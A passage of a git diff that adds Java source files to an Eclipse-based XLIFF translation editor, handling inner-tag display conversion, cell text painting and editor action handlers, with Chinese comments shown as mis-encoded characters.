} + + // 如果 XLIFF 编辑器ä»å¤„于激活状æ€ï¼Œåˆ™æŠŠç„¦ç‚¹äº¤ç»™ç¼–辑器 + try { + IWorkbenchPart activepart = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage() + .getActivePart(); + if (xliffEditor.equals(activepart)) { + xliffEditor.setFocus(); + } + } catch (NullPointerException e) { + } + + // NatTable table = xliffEditor.getTable(); + // int[] rowPositions = new int[] { hsCellEditor.getRowPosition() }; + // table.doCommand(new AutoResizeCurrentRowsCommand(table, rowPositions, table.getConfigRegistry())); + } + + /** + * é‡å†™å…³é—­çŠ¶æ€çš„判断规则 + * @see net.sourceforge.nattable.edit.editor.AbstractCellEditor#isClosed() + */ + public boolean isClosed() { + return close; + } + + /** + * 得到实际的光标ä½ç½®ï¼ˆStyledText中的文本有一部分是已ç»è¢«è½¬æ¢æˆå†…部标记的,与XML文本的分割ä½ç½®æœ‰å·®å¼‚,因此需è¦æ­¤æ–¹æ³•å¾—到在XML中实际的分割ä½ç½®ï¼‰ + * @return ; + */ + public int getRealSplitOffset() { + return viewer.getRealSplitOffset(); + } + + /** + * 得到实际的光标ä½ç½®ï¼ˆStyledText中的文本有一部分是已ç»è¢«è½¬æ¢æˆå†…部标记的,与XML文本的分割ä½ç½®æœ‰å·®å¼‚,因此需è¦æ­¤æ–¹æ³•å¾—到在XML中实际的分割ä½ç½®ï¼‰ + * @return ; + */ + public int getRealSplitOffset(int offset) { + return viewer.getRealSplitOffset(offset); + } + + /** + * 清除所有内部标记 ; + */ + public void clearTags() { + if (isEditable()) { + viewer.clearAllInnerTags(); + } else { + showUneditableMessage(); + } + } + + /** + * 得到 SegmentViewer 组件。 + * @return ; + */ + public ISegmentViewer getSegmentViewer() { + return viewer; + } + + public void widgetDisposed(DisposeEvent e) { + this.close(); + } + + /** + * 得到选中的原始文本。 + * @return XML 中的原始内容; + */ + public String getSelectedOriginalText() { + return viewer.getSelectedOriginalText(); + } + + /** + * 得到选中的纯文本内容 + * @return XML 中的原始内容; + */ + public String getSelectedPureText() { + return viewer.getSelectedPureText(); + } + + public Control activateCell(Composite parent, Object originalCanonicalValue, Character initialEditValue, + IDisplayConverter displayConverter, IStyle cellStyle, IDataValidator dataValidator, + ICellEditHandler editHandler, int colIndex, int rowIndex) { + + return null; + } + + /** @return the columnPosition */ + public int getColumnPosition() { + return hsCellEditor.getColumnPosition(); + } + + /** @return the rowPosition */ + public int getRowPosition() { + return hsCellEditor.getRowPosition(); + } + + /** @return the columnIndex */ + public int getColumnIndex() { + return hsCellEditor.getColumnIndex(); + } + + /** @return the rowIndex */ + public int getRowIndex() { + return hsCellEditor.getRowIndex(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/TagDisplayConverter.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/TagDisplayConverter.java new file mode 100644 index 0000000..194abda --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/TagDisplayConverter.java @@ -0,0 +1,118 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.editor; + +import java.util.TreeMap; + +import net.heartsome.cat.common.innertag.InnerTagBean; +import net.heartsome.cat.common.innertag.TagStyle; +import net.heartsome.cat.common.ui.utils.InnerTagUtil; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.LayerUtil; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.data.convert.DefaultDisplayConverter; +import net.sourceforge.nattable.layer.DataLayer; +import net.sourceforge.nattable.layer.cell.LayerCell; + +/** + * Tag 显示格å¼è½¬æ¢å™¨ + * @author weachy + * @version + * @since JDK1.5 + */ +public class TagDisplayConverter extends DefaultDisplayConverter { + + private final XLIFFEditorImplWithNatTable xliffEditor; + + private final NatTable table; + + private LayerCell currentCell; + + TagDisplayConverter(XLIFFEditorImplWithNatTable xliffEditor) { + this.xliffEditor = xliffEditor; + table = xliffEditor.getTable(); + } + + public void setCell(LayerCell cell) { + this.currentCell = cell; + } + + /** + * (non-Javadoc) + * @see net.sourceforge.nattable.data.convert.DefaultDisplayConverter#canonicalToDisplayValue(java.lang.Object) + */ + public Object canonicalToDisplayValue(Object xmlValue) { + if (xmlValue == null || xmlValue.toString().length() == 0) { + return ""; + } + String originalValue = xmlValue.toString(); + + TagStyle tagStyle = xliffEditor.getTagStyleManager().getTagStyle(); +// if (TagStyle.FULL.equals(tagStyle)) { +// return originalValue; +// } else { + StringBuffer displayValue = new StringBuffer(originalValue); + int columnIndex = table.getColumnIndexByPosition(currentCell.getColumnPosition()); + + if (xliffEditor.isHorizontalLayout()) { + if (columnIndex == xliffEditor.getSrcColumnIndex()) { + InnerTagUtil.parseXmlToDisplayValue(displayValue, tagStyle); // 设置内部标记索引åŠæ ·å¼ + } else if (columnIndex == xliffEditor.getTgtColumnIndex()) { + int rowIndex = currentCell.getLayer().getRowIndexByPosition( + currentCell.getRowPosition()) ; + int srcColumnPosition = LayerUtil.getColumnPositionByIndex(table, xliffEditor.getSrcColumnIndex()); + if (srcColumnPosition != -1) { // 得到Source列的ä½ç½® + DataLayer dataLayer = LayerUtil.getLayer(table, DataLayer.class); + String srcOriginalValue = dataLayer.getDataValueByPosition(srcColumnPosition, rowIndex).toString(); + InnerTagUtil.parseXmlToDisplayValueFromSource(srcOriginalValue, displayValue, tagStyle); + } else { + InnerTagUtil.parseXmlToDisplayValue(displayValue, tagStyle); // 设置内部标记索引åŠæ ·å¼ + } + + currentCell = null; // æ¢å¤åˆå§‹å€¼ + } else { + // do nothing + } + } else { + int rowIndex = currentCell.getLayer().getRowIndexByPosition( + currentCell.getRowPosition()); + if (columnIndex == xliffEditor.getSrcColumnIndex() && rowIndex % 2 == 0) { //æºè¯­è¨€ + InnerTagUtil.parseXmlToDisplayValue(displayValue, tagStyle); // 设置内部标记索引åŠæ ·å¼ + } else if (columnIndex == xliffEditor.getTgtColumnIndex()) { //目标语言 + int srcColumnPosition = LayerUtil.getColumnPositionByIndex(table, xliffEditor.getSrcColumnIndex()); + if (srcColumnPosition != -1) { // 得到Source列的ä½ç½® +// DataLayer dataLayer = LayerUtil.getLayer(table, DataLayer.class); + String srcOriginalValue = table.getDataValueByPosition(srcColumnPosition, rowIndex - 1).toString(); + InnerTagUtil.parseXmlToDisplayValueFromSource(srcOriginalValue, displayValue, tagStyle); + } else { + InnerTagUtil.parseXmlToDisplayValue(displayValue, tagStyle); // 设置内部标记索引åŠæ ·å¼ + } + + currentCell = null; // æ¢å¤åˆå§‹å€¼ + } else { + // do nothing + } + } + return InnerTagUtil.resolveTag(displayValue.toString()); +// } + } + + /** + * (non-Javadoc) + * @see net.sourceforge.nattable.data.convert.DefaultDisplayConverter#displayToCanonicalValue(java.lang.Object) + */ + public Object displayToCanonicalValue(Object tagValue) { + String displayValue = tagValue == null ? "" : tagValue.toString(); + String content = InnerTagUtil.escapeTag(displayValue); + + int rowIndex = currentCell.getLayer().getRowIndexByPosition( + currentCell.getRowPosition()); + int srcColumnPosition = LayerUtil.getColumnPositionByIndex(table, xliffEditor.getSrcColumnIndex()); + if (srcColumnPosition != -1) { // 得到Source列的ä½ç½® + DataLayer dataLayer = LayerUtil.getLayer(table, DataLayer.class); + String srcOriginalValue = dataLayer.getDataValueByPosition(srcColumnPosition, rowIndex).toString(); + TreeMap sourceTags = InnerTagUtil.parseXmlToDisplayValue(new StringBuffer( + srcOriginalValue), xliffEditor.getTagStyleManager().getTagStyle()); + return InnerTagUtil.parseDisplayToXmlValue(sourceTags, content); // æ¢å›žxmlæ ¼å¼çš„内容 + } else { + return content; // 设置内部标记索引åŠæ ·å¼ + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/TagStyleManager.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/TagStyleManager.java new file mode 100644 index 0000000..7028d94 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/TagStyleManager.java @@ -0,0 +1,67 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.editor; + +import java.util.HashSet; + +import net.heartsome.cat.common.innertag.TagStyle; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Listener; + +/** + * 标记样å¼ç®¡ç†å™¨ + * @author weachy + * @version + * @since JDK1.5 + */ +public class TagStyleManager { + + private TagStyle tagStyle; + + public TagStyleManager() { + tagStyle = TagStyle.getDefault(); + } + + public TagStyle getTagStyle() { + return tagStyle; + } + + public void setTagStyle(TagStyle tagStyle) { + this.tagStyle = tagStyle; + TagStyle.setTagStyle(tagStyle); + + Event event = new Event(); + event.data = tagStyle; + for (Listener listener : tagStyleChangeListeners) { + listener.handleEvent(event); + } + } + + private HashSet tagStyleChangeListeners = new HashSet(); + + /** + * 添加关闭å•å…ƒæ ¼å…³é—­æ—¶çš„监å¬å™¨ + * @param closeListener + * 关闭监å¬å™¨ ; + */ + public void addTagStyleChangeListener(Listener tagStyleChangeListener) { + if (tagStyleChangeListener == null) { + SWT.error(SWT.ERROR_NULL_ARGUMENT); + } + tagStyleChangeListeners.add(tagStyleChangeListener); + } + + /** + * 移除关闭å•å…ƒæ ¼å…³é—­æ—¶çš„监å¬å™¨ + * @param closeListener + * 关闭监å¬å™¨ ; + */ + public void removeTagStyleChangeListener(Listener tagStyleChangeListener) { + for (Listener listener : tagStyleChangeListeners) { + if (listener != null && listener.equals(tagStyleChangeListener)) { + tagStyleChangeListeners.remove(listener); + break; + } + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/TextPainterWithPadding.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/TextPainterWithPadding.java new file mode 100644 index 0000000..70ea023 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/TextPainterWithPadding.java @@ -0,0 +1,357 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.editor; + +import static net.heartsome.cat.ts.ui.Constants.SEGMENT_LINE_SPACING; + +import java.util.List; +import java.util.Map; +import java.util.WeakHashMap; + +import net.heartsome.cat.common.innertag.InnerTagBean; +import net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder; +import net.heartsome.cat.common.innertag.factory.XliffInnerTagFactory; +import net.heartsome.cat.common.ui.innertag.InnerTagRender; +import net.heartsome.cat.common.ui.utils.InnerTagUtil; +import net.heartsome.cat.ts.ui.Constants; +import net.heartsome.cat.ts.ui.bean.XliffEditorParameter; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.Messages; +import net.sourceforge.nattable.config.CellConfigAttributes; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.data.convert.IDisplayConverter; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.painter.cell.BackgroundPainter; +import net.sourceforge.nattable.style.CellStyleAttributes; +import net.sourceforge.nattable.style.CellStyleUtil; +import net.sourceforge.nattable.style.IStyle; +import net.sourceforge.nattable.util.GUIHelper; + +import org.eclipse.core.runtime.Assert; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Device; +import org.eclipse.swt.graphics.Font; +import org.eclipse.swt.graphics.FontData; +import org.eclipse.swt.graphics.FontMetrics; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.GlyphMetrics; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.graphics.TextLayout; +import org.eclipse.swt.graphics.TextStyle; +import org.eclipse.swt.widgets.Display; + +/** + * 文本绘画器——用于绘制 NatTable çš„å•å…ƒæ ¼å†…容。 + * @author weachy + * @version + * @since JDK1.5 + */ +public class TextPainterWithPadding extends BackgroundPainter { + private final int topPadding; + private final int rightPadding; + private final int bottomPadding; + private final int leftPadding; + private final int tabSize = 4; + private int tabWidth; + + private PlaceHolderEditModeBuilder placeHolderBuilder = new PlaceHolderEditModeBuilder(); + private InnerTagRender tagRender; + + private static Map temporaryMap = new WeakHashMap(); + + private static Map fontDataCache = new WeakHashMap(); + + private final boolean wrapText; + + private XLIFFEditorImplWithNatTable editor; + + private XliffInnerTagFactory innerTagFactory = new XliffInnerTagFactory(placeHolderBuilder); + + private Font font; + private int ascent, descent; + + public TextPainterWithPadding(XLIFFEditorImplWithNatTable editor) { + this(true, 0, editor, null); + } + + public TextPainterWithPadding(boolean wrapText, XLIFFEditorImplWithNatTable editor, Font font) { + this(wrapText, 0, editor, font); + } + + public TextPainterWithPadding(boolean wrapText, int padding, XLIFFEditorImplWithNatTable editor, Font font) { + this(wrapText, padding, padding, padding, padding, editor, font); + } + + public TextPainterWithPadding(boolean wrapText, int topPadding, int rightPadding, int bottomPadding, + int leftPadding, final XLIFFEditorImplWithNatTable editor, Font font) { + Assert.isNotNull(editor.getTable(), Messages.getString("editor.TextPainterWithPadding.msg1")); + this.wrapText = wrapText; + this.topPadding = topPadding; + this.rightPadding = rightPadding; + this.bottomPadding = bottomPadding; + this.leftPadding = leftPadding; + this.editor = editor; + if (font == null) { + font = JFaceResources.getFont(net.heartsome.cat.ts.ui.Constants.XLIFF_EDITOR_TEXT_FONT); + } + setFont(font); + + tagRender = new InnerTagRender(); + } + + public int getPreferredHeight(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + if (innerTagFactory == null) { + innerTagFactory = new XliffInnerTagFactory(placeHolderBuilder); + } + innerTagFactory.reset(); + TextLayout layout = getCellTextLayout(cell); + + int counts = layout.getLineCount(); + int contentHeight = 0; + for (int i = 0; i < counts; i++) { + contentHeight += layout.getLineBounds(i).height; + } + layout.dispose(); + contentHeight += Math.max(counts - 1, 0) * SEGMENT_LINE_SPACING; + contentHeight += 4;// 加上编辑模å¼ä¸‹ï¼ŒStyledTextCellEditor的边框 + contentHeight += topPadding; + contentHeight += bottomPadding; + return contentHeight; + } + + /** + * (non-Javadoc) + * @see net.sourceforge.nattable.painter.cell.BackgroundPainter#paintCell(net.sourceforge.nattable.layer.cell.LayerCell, + * org.eclipse.swt.graphics.GC, org.eclipse.swt.graphics.Rectangle, + * net.sourceforge.nattable.config.IConfigRegistry) + */ + @Override + public void paintCell(LayerCell cell, GC gc, Rectangle rectangle, IConfigRegistry configRegistry) { + super.paintCell(cell, gc, rectangle, configRegistry); + IStyle cellStyle = CellStyleUtil.getCellStyle(cell, configRegistry); + setupGCFromConfig(gc, cellStyle); + + if (innerTagFactory == null) { + innerTagFactory = new XliffInnerTagFactory(placeHolderBuilder); + } + innerTagFactory.reset(); + + int rowIndex = cell.getLayer().getRowIndexByPosition(cell.getRowPosition()); + int columnIndex = cell.getLayer().getColumnIndexByPosition(cell.getColumnPosition()); + if (!editor.isHorizontalLayout()) { + // åž‚ç›´ + if (rowIndex % 2 != 0) { + LayerCell srcCell = cell.getLayer().getCellByPosition(cell.getColumnPosition(), + cell.getRowPosition() - 1); + if (srcCell != null) { + String sourceVal = (String) srcCell.getDataValue(); + innerTagFactory.parseInnerTag(sourceVal); + } + } + } else { + // æ°´å¹³ + if (columnIndex == editor.getTgtColumnIndex()) { + LayerCell srcCell = cell.getLayer().getCellByPosition(1, cell.getRowPosition()); + if (srcCell != null) { + String sourceVal = (String) srcCell.getDataValue(); + innerTagFactory.parseInnerTag(sourceVal); + } + } + } + TextLayout layout = getCellTextLayout(cell); + try { + String displayText = layout.getText(); + Rectangle bounds = cell.getBounds(); + layout.draw(gc, bounds.x + leftPadding, bounds.y + topPadding); + List innerTagBeans = innerTagFactory.getInnerTagBeans(); + for (InnerTagBean innerTagBean : innerTagBeans) { + String placeHolder = placeHolderBuilder.getPlaceHolder(innerTagBeans, + innerTagBeans.indexOf(innerTagBean)); + int start = displayText.indexOf(placeHolder); + if (start == -1) { + continue; + } + Point p = layout.getLocation(start, false); + int x = bounds.x + p.x + leftPadding; + x += SEGMENT_LINE_SPACING; + + Point tagSize = tagRender.calculateTagSize(innerTagBean); + int lineIdx = layout.getLineIndex(start); + Rectangle r = layout.getLineBounds(lineIdx); + int y = bounds.y + p.y + topPadding + r.height / 2 - tagSize.y / 2;// - + // layout.getLineMetrics(0).getDescent(); + // if (y + r.height > tagSize.y) { + // FontMetrics fm = layout.getLineMetrics(lineIdx); + // y = y + r.height - tagSize.y - fm.getDescent(); + // } + tagRender.draw(gc, innerTagBean, x, y); + } + } finally { + layout.dispose(); + } + } + + @Override + public int getPreferredWidth(LayerCell cell, GC gc, IConfigRegistry configRegistry) { + setupGCFromConfig(gc, CellStyleUtil.getCellStyle(cell, configRegistry)); + return leftPadding + getWidthFromCache(gc, convertDataType(cell, configRegistry)) + rightPadding; + } + + public void setupGCFromConfig(GC gc, IStyle cellStyle) { + Color fg = cellStyle.getAttributeValue(CellStyleAttributes.FOREGROUND_COLOR); + Color bg = cellStyle.getAttributeValue(CellStyleAttributes.BACKGROUND_COLOR); + + gc.setAntialias(GUIHelper.DEFAULT_ANTIALIAS); + gc.setTextAntialias(GUIHelper.DEFAULT_TEXT_ANTIALIAS); + gc.setFont(font); + gc.setForeground(fg != null ? fg : GUIHelper.COLOR_LIST_FOREGROUND); + gc.setBackground(bg != null ? bg : GUIHelper.COLOR_LIST_BACKGROUND); + } + + public Font getFont() { + return font; + } + + public void setFont(Font font) { + TextLayout layout = new TextLayout(Display.getDefault()); + try { + if (font != null) { + this.font = font; + Font boldFont = getFont(SWT.BOLD), italicFont = getFont(SWT.ITALIC), boldItalicFont = getFont(SWT.BOLD + | SWT.ITALIC); + layout.setText(" "); + layout.setFont(font); + layout.setStyle(new TextStyle(font, null, null), 0, 0); + layout.setStyle(new TextStyle(boldFont, null, null), 1, 1); + layout.setStyle(new TextStyle(italicFont, null, null), 2, 2); + layout.setStyle(new TextStyle(boldItalicFont, null, null), 3, 3); + FontMetrics metrics = layout.getLineMetrics(0); + ascent = metrics.getAscent() + metrics.getLeading(); + descent = metrics.getDescent(); + boldFont.dispose(); + italicFont.dispose(); + boldItalicFont.dispose(); + boldFont = italicFont = boldItalicFont = null; + } + layout.dispose(); + layout = new TextLayout(Display.getDefault()); + layout.setFont(this.font); + StringBuffer tabBuffer = new StringBuffer(tabSize); + for (int i = 0; i < tabSize; i++) { + tabBuffer.append(' '); + } + layout.setText(tabBuffer.toString()); + tabWidth = layout.getBounds().width; + layout.dispose(); + } finally { + if (layout != null && !layout.isDisposed()) { + layout.dispose(); + } + } + } + + /** + * Convert the data value of the cell using the {@link IDisplayConverter} from the {@link IConfigRegistry} + */ + protected String convertDataType(LayerCell cell, IConfigRegistry configRegistry) { + IDisplayConverter displayConverter = configRegistry.getConfigAttribute(CellConfigAttributes.DISPLAY_CONVERTER, + cell.getDisplayMode(), cell.getConfigLabels().getLabels()); + if (displayConverter instanceof TagDisplayConverter) { + ((TagDisplayConverter) displayConverter).setCell(cell); + } + String text = displayConverter != null ? (String) displayConverter.canonicalToDisplayValue(cell.getDataValue()) + : null; + return (text == null) ? "" : text; + } + + private TextLayout getCellTextLayout(LayerCell cell) { + int orientation = editor.getTable().getStyle() & (SWT.LEFT_TO_RIGHT | SWT.RIGHT_TO_LEFT); + TextLayout layout = new TextLayout(editor.getTable().getDisplay()); + layout.setOrientation(orientation); + layout.setSpacing(Constants.SEGMENT_LINE_SPACING); + layout.setFont(font); + layout.setAscent(ascent); + layout.setDescent(descent); // å’Œ StyledTextEditor åŒæ­¥ + layout.setTabs(new int[] { tabWidth }); + + Rectangle rectangle = cell.getBounds(); + int width = rectangle.width - leftPadding - rightPadding; + width -= 1; + if (wrapText && width > 0) { + layout.setWidth(width); + } + + String displayText = InnerTagUtil.resolveTag(innerTagFactory.parseInnerTag((String) cell.getDataValue())); + if (XliffEditorParameter.getInstance().isShowNonpirnttingCharacter()) { + displayText = displayText.replaceAll("\\n", Constants.LINE_SEPARATOR_CHARACTER + "\n"); + displayText = displayText.replaceAll("\\t", Constants.TAB_CHARACTER + ""); + displayText = displayText.replaceAll(" ", Constants.SPACE_CHARACTER + ""); + } + layout.setText(displayText); + List innerTagBeans = innerTagFactory.getInnerTagBeans(); + for (InnerTagBean innerTagBean : innerTagBeans) { + String placeHolder = placeHolderBuilder.getPlaceHolder(innerTagBeans, innerTagBeans.indexOf(innerTagBean)); + int start = displayText.indexOf(placeHolder); + if (start == -1) { + continue; + } + TextStyle style = new TextStyle(); + Point rect = tagRender.calculateTagSize(innerTagBean); + style.metrics = new GlyphMetrics(rect.y, 0, rect.x + SEGMENT_LINE_SPACING * 2); + layout.setStyle(style, start, start + placeHolder.length() - 1); + } + + return layout; + } + + private int getWidthFromCache(GC gc, String text) { + String originalString = text; + StringBuilder buffer = new StringBuilder(); + buffer.append(text); + if (gc.getFont() != null) { + FontData[] datas = fontDataCache.get(gc.getFont()); + if (datas == null) { + datas = gc.getFont().getFontData(); + fontDataCache.put(gc.getFont(), datas); + } + if (datas != null && datas.length > 0) { + buffer.append(datas[0].getName()); + buffer.append(","); + buffer.append(datas[0].getHeight()); + buffer.append(","); + buffer.append(datas[0].getStyle()); + } + } + text = buffer.toString(); + Integer width = temporaryMap.get(text); + if (width == null) { + width = Integer.valueOf(gc.textExtent(originalString).x); + temporaryMap.put(text, width); + } + + return width.intValue(); + } + + private Font getFont(int style) { + Device device = Display.getDefault(); + switch (style) { + case SWT.BOLD: + return new Font(device, getFontData(style)); + case SWT.ITALIC: + return new Font(device, getFontData(style)); + case SWT.BOLD | SWT.ITALIC: + return new Font(device, getFontData(style)); + default: + return font; + } + + } + + private FontData[] getFontData(int style) { + FontData[] fontDatas = font.getFontData(); + for (int i = 0; i < fontDatas.length; i++) { + fontDatas[i].setStyle(style); + } + return fontDatas; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/XLIFFEditorActionHandler.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/XLIFFEditorActionHandler.java new file mode 100644 index 0000000..f030725 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/XLIFFEditorActionHandler.java @@ -0,0 +1,948 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.editor; + +import static net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder.PATTERN; + +import java.util.ArrayList; +import java.util.List; +import java.util.Stack; +import java.util.regex.Matcher; + +import net.heartsome.cat.common.innertag.TagType; +import net.heartsome.cat.common.ui.innertag.InnerTag; +import net.heartsome.cat.common.ui.listener.PartAdapter2; +import net.heartsome.cat.ts.ui.innertag.InnerTagUtil; +import net.heartsome.cat.ts.ui.innertag.SegmentViewer; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.LayerUtil; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.Messages; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.search.dialog.FindReplaceDialog; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.ColumnSearchStrategy; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy.DefaultCellSearchStrategy; +import net.sourceforge.nattable.NatTable; + +import org.eclipse.jface.action.Action; +import org.eclipse.jface.action.IAction; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.text.ITextOperationTarget; +import org.eclipse.jface.util.IPropertyChangeListener; +import org.eclipse.jface.util.PropertyChangeEvent; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.StyledText; +import org.eclipse.swt.dnd.Clipboard; +import org.eclipse.swt.dnd.TextTransfer; +import org.eclipse.swt.dnd.Transfer; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.widgets.Event; +import org.eclipse.ui.IActionBars; +import org.eclipse.ui.IPageListener; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchPartReference; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.actions.ActionFactory; +import org.eclipse.ui.internal.ide.IDEWorkbenchMessages; +import org.eclipse.ui.internal.ide.IIDEHelpContextIds; + +/** + * Handles the redirection of the global actions Cut, Copy, Paste, Delete, Select All, Find, Undo and Redo to either the + * current XLIFF editor or the part's supplied action handler. + *

    + * This class may be instantiated; it is not intended to be subclassed. + *

    + *

    + * Example usage: + * + *

    + * actionHandler = new XLIFFEditorActionHandler(this.getEditorSite().getActionBars());
    + * actionHandler.addTextViewer(textCellEditor1);
    + * actionHandler.setSelectAllAction(selectAllAction);
    + * 
    + * + *

    + * @noextend This class is not intended to be subclassed by clients. + * @author weachy + * @version + * @since JDK1.5 + * @see org.eclipse.ui.actions.TextActionHandler + */ +@SuppressWarnings("restriction") +public class XLIFFEditorActionHandler { + + private CutActionHandler textCutAction = new CutActionHandler(); + + private CopyActionHandler textCopyAction = new CopyActionHandler(); + + private PasteActionHandler textPasteAction = new PasteActionHandler(); + + private DeleteActionHandler textDeleteAction = new DeleteActionHandler(); + + private SelectAllActionHandler textSelectAllAction = new SelectAllActionHandler(); + + private UndoActionHandler textUndoAction = new UndoActionHandler(); + + private RedoActionHandler textRedoAction = new RedoActionHandler(); + + private FindReplaceActionHandler textFindReplaceAction = new FindReplaceActionHandler(); + + private IActionBars actionBar; + + /** + * Creates a StyledText control action handler for the global Cut, Copy, Paste, Delete, and Select All + * of the action bar. + * @param actionBar + * the action bar to register global action handlers for Cut, Copy, Paste, Delete, and Select All + */ + public XLIFFEditorActionHandler(IActionBars actionBar) { + this.actionBar = actionBar; + + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + if (window != null) { + final PartAdapter2 partListener2 = new PartAdapter2() { + @Override + public void partBroughtToTop(IWorkbenchPartReference partRef) { + if ("net.heartsome.cat.ts.ui.xliffeditor.nattable.editor".equals(partRef.getId())) { + XLIFFEditorActionHandler.this.actionBar.setGlobalActionHandler(ActionFactory.FIND.getId(), + textFindReplaceAction); + textFindReplaceAction.updateEnabledState(); + XLIFFEditorActionHandler.this.actionBar.updateActionBars(); + } + } + }; + IWorkbenchPage page = window.getActivePage(); + if (page != null) { + page.addPartListener(partListener2); + } else { + window.addPageListener(new IPageListener() { + + public void pageOpened(IWorkbenchPage page) { + page.addPartListener(partListener2); + } + + public void pageClosed(IWorkbenchPage page) { + page.addPartListener(partListener2); + } + + public void pageActivated(IWorkbenchPage page) { + } + }); + } + } + } + + private IAction deleteAction; + + private IAction cutAction; + + private IAction copyAction; + + private IAction pasteAction; + + private IAction selectAllAction; + + private IAction undoAction; + + private IAction redoAction; + + private IAction findReplaceAction; + + private IPropertyChangeListener cutActionListener = new PropertyChangeListener(textCutAction); + + private IPropertyChangeListener copyActionListener = new PropertyChangeListener(textCopyAction); + + private IPropertyChangeListener pasteActionListener = new PropertyChangeListener(textPasteAction); + + private IPropertyChangeListener deleteActionListener = new PropertyChangeListener(textDeleteAction); + + private IPropertyChangeListener selectAllActionListener = new PropertyChangeListener(textSelectAllAction); + + private IPropertyChangeListener undoActionListener = new PropertyChangeListener(textUndoAction); + + private IPropertyChangeListener redoActionListener = new PropertyChangeListener(textRedoAction); + + private IPropertyChangeListener findReplaceActionListener = new PropertyChangeListener(textFindReplaceAction); + + /** å°è£…StyledText,æ供撤销/é‡åšç®¡ç†å™¨çš„组件. */ + private SegmentViewer viewer; + + private class PropertyChangeListener implements IPropertyChangeListener { + private IAction actionHandler; + + protected PropertyChangeListener(IAction actionHandler) { + super(); + this.actionHandler = actionHandler; + } + + public void propertyChange(PropertyChangeEvent event) { + if (viewer != null) { + return; + } + if (event.getProperty().equals(IAction.ENABLED)) { + Boolean bool = (Boolean) event.getNewValue(); + actionHandler.setEnabled(bool.booleanValue()); + } + } + } + + private class CutActionHandler extends Action { + protected CutActionHandler() { + super(IDEWorkbenchMessages.Cut); + setId("XLIFFEditorCutActionHandler");//$NON-NLS-1$ + setEnabled(false); + PlatformUI.getWorkbench().getHelpSystem().setHelp(this, IIDEHelpContextIds.TEXT_CUT_ACTION); + } + + public void runWithEvent(Event event) { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + viewer.doOperation(ITextOperationTarget.CUT); + updateActionsEnableState(); + return; + } + if (cutAction != null) { + cutAction.runWithEvent(event); + return; + } + } + + /** + * Update state. + */ + public void updateEnabledState() { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + setEnabled(viewer.canDoOperation(ITextOperationTarget.CUT)); + return; + } + if (cutAction != null) { + setEnabled(cutAction.isEnabled()); + return; + } + setEnabled(false); + } + } + + /** + * æ’¤é”€å¤„ç† + * @author Leakey + * @version + * @since JDK1.6 + */ + private class UndoActionHandler extends Action { + protected UndoActionHandler() { + super("UNDO");//$NON-NLS-1$ + setId("XLIFFEditorUndoActionHandler");//$NON-NLS-1$ + setEnabled(false); + } + + public void runWithEvent(Event event) { + if (viewer != null && !viewer.getTextWidget().isDisposed()) { + // 